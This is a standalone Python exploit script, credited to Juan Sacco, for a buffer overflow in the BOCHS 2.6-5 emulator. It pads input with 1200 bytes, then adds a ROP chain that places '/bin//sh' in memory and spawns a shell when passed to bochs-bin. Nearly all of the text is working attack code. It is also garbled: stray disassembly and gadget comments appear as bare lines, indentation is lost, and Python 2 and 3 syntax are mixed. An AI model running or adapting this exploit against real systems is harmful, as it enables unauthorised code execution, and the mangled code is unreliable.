import os, subprocess
from struct import pack
(<_ZN13bx_real_sim_c16set_quit_contextEPA1_13__jmp_buf_tag>: mov
edx,DWORD PTR [esp+0x8])
(<_ZN13bx_real_sim_cD2Ev>: repz ret)
direction overflow)
junk = 'A'*1200
ropchain = pack('<I', 0x08095473)
ropchain += pack('<I', 0x08276420)
ropchain += pack('<I', 0x080945aa)
ropchain += '/bin'
ropchain += pack('<I', 0x081701a7)
ebx ; pop esi ; pop edi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x08095473)
ropchain += pack('<I', 0x08276424)
ropchain += pack('<I', 0x080945aa)
ropchain += '//sh'
ropchain += pack('<I', 0x081701a7)
ebx ; pop esi ; pop edi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x08095473)
ropchain += pack('<I', 0x08276428)
ropchain += pack('<I', 0x08099780)
ropchain += pack('<I', 0x081701a7)
ebx ; pop esi ; pop edi ; pop ebp ; ret
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x41414141)
ropchain += pack('<I', 0x08054cc4)
ropchain += pack('<I', 0x08276420)
ropchain += pack('<I', 0x08235733)
ropchain += pack('<I', 0x08276428)
ropchain += pack('<I', 0x082350b5)
ropchain += pack('<I', 0x08276428)
ropchain += pack('<I', 0x08099780)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804d559)
ropchain += pack('<I', 0x0804f101)
crafted_buff = junk + ropchain
try:
print("[*] BOCHS 2.6-5 Buffer Overflow - Exploit by Juan Sacco")
print("[*] Running, wait for the shell")
subprocess.call(["bochs-bin", crafted_buff])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "[*] Sorry! BOCHS not found!"
else:
print "[*] Error executing exploit"
raise